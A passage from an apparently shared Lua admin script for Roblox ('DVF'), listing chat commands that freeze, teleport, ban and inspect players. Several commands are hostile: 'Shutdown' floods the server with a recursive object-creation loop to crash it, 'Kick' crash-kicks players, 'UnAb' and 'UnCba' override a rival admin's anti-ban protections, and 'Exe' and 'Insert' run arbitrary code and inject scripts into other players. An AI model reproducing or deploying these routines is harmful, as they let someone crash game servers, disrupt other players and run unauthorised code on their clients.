  1669. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1670. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1671. end
  1672. end
  1673. end)
  1674. ypcall(function()
  1675. for _,x in pairs(v.Backpack:GetChildren()) do
  1676. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1677. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1678. end
  1679. end
  1680. end)
  1681. ypcall(function()
  1682. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1683. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1684. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1685. end
  1686. end
  1687. end)
  1688. end
  1689. if #LocalScripts > 0 then
  1690. for _,v in pairs(LocalScripts) do
  1691. Ping(v, Speaker)
  1692. end
  1693. else
  1694. Ping("No Local Scripts Found", Speaker, 5)
  1695. end
  1696. end)
  1697.  
  1698. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1699. local Split = GetSplit(Msg)
  1700. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1701. local ScriptName = Msg:sub(Split + 1)
  1702. local FoundLocal = false
  1703. for _,name in pairs(PlrTab) do
  1704. ypcall(function()
  1705. for _,v in pairs(name.Character:GetChildren()) do
  1706. if string.find(v.Name:lower(), ScriptName) then
  1707. if v:IsA("Script") or v:IsA("LocalScript") then
  1708. v.Disabled = true
  1709. v:Destroy()
  1710. FoundLocal = true
  1711. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1712. end
  1713. end
  1714. end
  1715. end)
  1716. ypcall(function()
  1717. for _,v in pairs(name.Backpack:GetChildren()) do
  1718. if string.find(v.Name:lower(), ScriptName) then
  1719. if v:IsA("Script") or v:IsA("LocalScript") then
  1720. v.Disabled = true
  1721. v:Destroy()
  1722. FoundLocal = true
  1723. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1724. end
  1725. end
  1726. end
  1727. end)
  1728. ypcall(function()
  1729. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1730. if string.find(v.Name:lower(), ScriptName) then
  1731. if v:IsA("Script") or v:IsA("LocalScript") then
  1732. v.Disabled = true
  1733. v:Destroy()
  1734. FoundLocal = true
  1735. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1736. end
  1737. end
  1738. end
  1739. end)
  1740. if FoundLocal == false then
  1741. Ping("Local Script Not Found", Speaker, 5)
  1742. end
  1743. end
  1744. end)
  1745.  
  1746. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1747. for _,v in pairs(game:GetChildren()) do
  1748. ypcall(function()
  1749. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1750. for _,a in pairs(v:GetChildren()) do
  1751. ypcall(function()
  1752. a:Destroy()
  1753. end)
  1754. end
  1755. elseif v.Name == "Players" then
  1756. for _,plr in pairs(v:GetPlayers()) do
  1757. Clear(plr)
  1758. end
  1759. end
  1760. end)
  1761. end
  1762. Clean()
  1763. Fixl()
  1764. Ping("Fully Cleaned", Speaker, 5)
  1765. end)
  1766.  
  1767. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1768. LClean()
  1769. Fixl()
  1770. Ping("Lightly Cleaned", Speaker, 5)
  1771. end)
  1772.  
  1773. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1774. local PlrTab = getPlayer(Speaker, Msg)
  1775. if #PlrTab > 0 then
  1776. for _,v in pairs(PlrTab) do
  1777. ypcall(function()
  1778. v:LoadCharacter()
  1779. Ping("Reset "..v.Name, Speaker, 5)
  1780. end)
  1781. end
  1782. end
  1783. end)
  1784.  
  1785. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1786. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1787. if Work:findFirstChild("Base") then
  1788. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1789. else
  1790. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1791. end
  1792. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1793. end)
  1794.  
  1795. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1796. local PlrTab = getPlayer(Speaker, Msg)
  1797. if #PlrTab > 0 then
  1798. for _,v in pairs(PlrTab) do
  1799. ypcall(function()
  1800. v.Character.Torso.Anchored = true
  1801. Ping("Froze "..v.Name, Speaker, 5)
  1802. end)
  1803. end
  1804. end
  1805. end)
  1806.  
  1807. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1808. local PlrTab = getPlayer(Speaker, Msg)
  1809. if #PlrTab > 0 then
  1810. for _,v in pairs(PlrTab) do
  1811. ypcall(function()
  1812. for _,v2 in pairs(v.Character:GetChildren()) do
  1813. ypcall(function()
  1814. v.Anchored = false
  1815. end)
  1816. end
  1817. Ping("Thawed "..v.Name, Speaker, 5)
  1818. end)
  1819. end
  1820. end
  1821. end)
  1822.  
  1823. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1824. local PlrTab = getPlayer(Speaker, Msg)
  1825. if #PlrTab > 0 then
  1826. for _,v in pairs(PlrTab) do
  1827. ypcall(function()
  1828. Instance.new("ForceField", v.Character)
  1829. end)
  1830. end
  1831. end
  1832. end)
  1833.  
  1834. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1835. local PlrTab = getPlayer(Speaker, Msg)
  1836. if #PlrTab > 0 then
  1837. for _,v in pairs(PlrTab) do
  1838. ypcall(function()
  1839. RemObj(v.Character, "ForceField")
  1840. end)
  1841. end
  1842. end
  1843. end)
  1844.  
  1845. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1846. local Split = GetSplit(Msg)
  1847. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1848. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1849. if #PlrTab > 0 and #PlrTab2 > 0 then
  1850. for i,v in pairs(PlrTab) do
  1851. ypcall(function()
  1852. for _,v2 in pairs(PlrTab2) do
  1853. ypcall(function()
  1854. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1855. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1856. end)
  1857. end
  1858. end)
  1859. end
  1860. end
  1861. end)
  1862.  
  1863. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1864. MakeExplorer(Speaker)
  1865. end)
  1866.  
  1867. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1868. wait()
  1869. Dismiss(Speaker)
  1870. NumBanned = 0
  1871. NumCmds = 0
  1872. for i = 1, #Rankings do
  1873. if Rankings[i].Rank < 0 then
  1874. NumBanned = NumBanned + 1
  1875. end
  1876. end
  1877. for i,v in pairs(Commands) do
  1878. NumCmds = NumCmds + 1
  1879. end
  1880. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1881. Ping("DVF Admin Created By: fondcoolman", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1882. Ping("Date Started: 18th May 2013", Speaker)
  1883. Ping("Your ID: "..Speaker.userId, Speaker)
  1884. Ping("Total Number Of Players: "..#All2(), Speaker)
  1885. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1886. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1887. Ping("ShowGarbage", Speaker)
  1888. end)
  1889.  
  1890. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1891. Dismiss(Speaker)
  1892. for i,v in pairs(All()) do
  1893. Ping(v.Name.."'s Rank: "..FindRank(v))
  1894. end
  1895. end)
  1896.  
  1897. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1898. local Split = GetSplit(Msg)
  1899. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1900. local Speed = tonumber(Msg:sub(Split + 1))
  1901. for _,v in pairs(PlrTab) do
  1902. ypcall(function()
  1903. v.Character.Humanoid.WalkSpeed = Speed
  1904. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1905. end)
  1906. end
  1907. end)
  1908.  
  1909. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1910. local RemoveAB = Instance.new("StringValue")
  1911. RemoveAB.Name = "CBA Attachment"
  1912. RemoveAB.Value = [[CBA.override=true;]]
  1913. RemoveAB.Parent = Work
  1914. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1915. end)
  1916.  
  1917. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1918. Dismiss(Speaker)
  1919. for i,v in pairs(Injected) do
  1920. Ping(i, Speaker)
  1921. end
  1922. end)
  1923.  
  1924. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1925. local RemoveCBA = Instance.new("StringValue")
  1926. RemoveCBA.Name = "CBA Attachment"
  1927. RemoveCBA.Value = [[CBA.remove = false]]
  1928. RemoveCBA.Parent = Work
  1929. Ping("Removed All CBA Admins", Speaker, 5)
  1930. end)
  1931.  
  1932. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1933. local function BufferOverflow(object)
  1934. object.DescendantAdded:connect(BufferOverflow)
  1935. Instance.new("IntValue", object)
  1936. end
  1937. BufferOverflow(Game)
  1938. end)
  1939.  
  1940. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1941. local PlrTab = getPlayer(Speaker, Msg)
  1942. if #PlrTab > 0 then
  1943. for _,v in pairs(PlrTab) do
  1944. ypcall(function()
  1945. Crash1(v)
  1946. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1947. end)
  1948. end
  1949. end
  1950. end)
  1951.  
  1952. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1953. local PlrTab = getPlayer(Speaker, Msg)
  1954. if #PlrTab > 0 then
  1955. for _,v in pairs(PlrTab) do
  1956. ypcall(function()
  1957. ChangeRank(v, -1)
  1958. end)
  1959. end
  1960. end
  1961. end)
  1962.  
  1963. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1964. local PlrTab = getPlayer(Speaker, Msg)
  1965. if #PlrTab > 0 then
  1966. for _,v in pairs(PlrTab) do
  1967. ypcall(function()
  1968. ChangeRank(v, -2)
  1969. end)
  1970. end
  1971. end
  1972. end)
  1973.  
  1974. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1975. local PlrTab = getPlayer(Speaker, Msg)
  1976. if #PlrTab > 0 then
  1977. for _,v in pairs(PlrTab) do
  1978. ypcall(function()
  1979. ChangeRank(v, -3)
  1980. end)
  1981. end
  1982. end
  1983. end)
  1984.  
  1985. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1986. ypcall(function()
  1987. local PlrTab = getPlayer(Speaker, Msg)
  1988. if #PlrTab > 0 then
  1989. for _,v in pairs(PlrTab) do
  1990. ypcall(function()
  1991. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1992. end)
  1993. end
  1994. end
  1995. local PlrName = ChangeRank(Msg, 0)
  1996. Ping("Un-Banned "..PlrName, Speaker, 5)
  1997. end)
  1998. end)
  1999.  
  2000. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2001. Dismiss(Speaker)
  2002. Ping("Commands", Speaker, nil, function()
  2003. Dismiss(Speaker.Name)
  2004. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2005. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2006. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2007. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2008. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2009. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2010. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2011. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2012. end)
  2013. Ping("Players", Speaker, nil, function()
  2014. ListPlayers(Speaker)
  2015. end)
  2016. end)
  2017.  
  2018. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2019. ListPlayers(Speaker)
  2020. end)
  2021.  
  2022. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2023. local Func,Error = loadstring(Msg)
  2024. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2025. getfenv(Func).Speaker = Speaker
  2026. if Error == nil then
  2027. coroutine.wrap(function()
  2028. Func()
  2029. end)()
  2030. Ping("Executed Script!", Speaker, 5)
  2031. else
  2032. Ping(Error, Speaker, 10)
  2033. end
  2034. end)
  2035.  
  2036. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2037. if LS ~= nil then
  2038. local Split = GetSplit(Msg)
  2039. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2040. local LocalSource = Msg:sub(Split + 1)
  2041. if #PlrTab > 0 then
  2042. for _,v in pairs(PlrTab) do
  2043. local Inserted = LS:Clone()
  2044. Inserted.Disabled = true
  2045. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2046. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2047. Inserted:findFirstChild(OwnSource).Value = v.Name
  2048. end
  2049. Inserted[LSSource].Value = LocalSource
  2050. Inserted.Disabled = false
  2051. end
  2052. end
  2053. else
  2054. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2055. end
  2056. end)
  2057.  
  2058. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2059. Msg = tostring(Msg)
  2060. Ping(Msg, Speaker)
  2061. end)
  2062.  
  2063. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2064. Dismiss(Speaker)
  2065. for i,v in pairs(getfenv(1)) do
  2066. ypcall(function()
  2067. Ping(tostring(i)..": "..tostring(v), Speaker)
  2068. end)
  2069. end
  2070. end)
  2071.  
  2072. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2073. Dismiss()
  2074. Removed = true
  2075. for i,v in pairs(getfenv(1)) do
  2076. getfenv(1)[i] = nil
  2077. end
  2078. script.Disabled = true
  2079. end)
  2080.  
  2081. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2082. local Split = GetSplit(Msg)
  2083. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2084. local Rank = tonumber(Msg:sub(Split + 1))
  2085. if #PlrTab > 0 then
  2086. for _,v in pairs(PlrTab) do
  2087. if v.Name ~= Owner then
  2088. ChangeRank(v, Rank)
  2089. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2090. end
  2091. end
  2092. end
  2093. end)
  2094.  
  2095. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement